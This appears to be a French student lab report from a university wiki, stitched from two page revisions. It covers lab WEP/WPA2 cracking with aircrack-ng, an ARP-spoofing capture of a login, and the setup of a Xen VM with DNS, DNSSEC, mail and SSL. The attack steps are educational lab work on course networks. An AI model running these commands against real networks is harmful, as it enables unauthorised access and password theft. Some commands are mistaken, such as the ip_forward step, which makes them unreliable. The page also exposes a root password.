1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54009TP sysres IMA2a5 2020/2021 G52020-11-27T17:01:32Z<p>Aglaine : /* Installation des systèmes d’exploitation */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionn pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
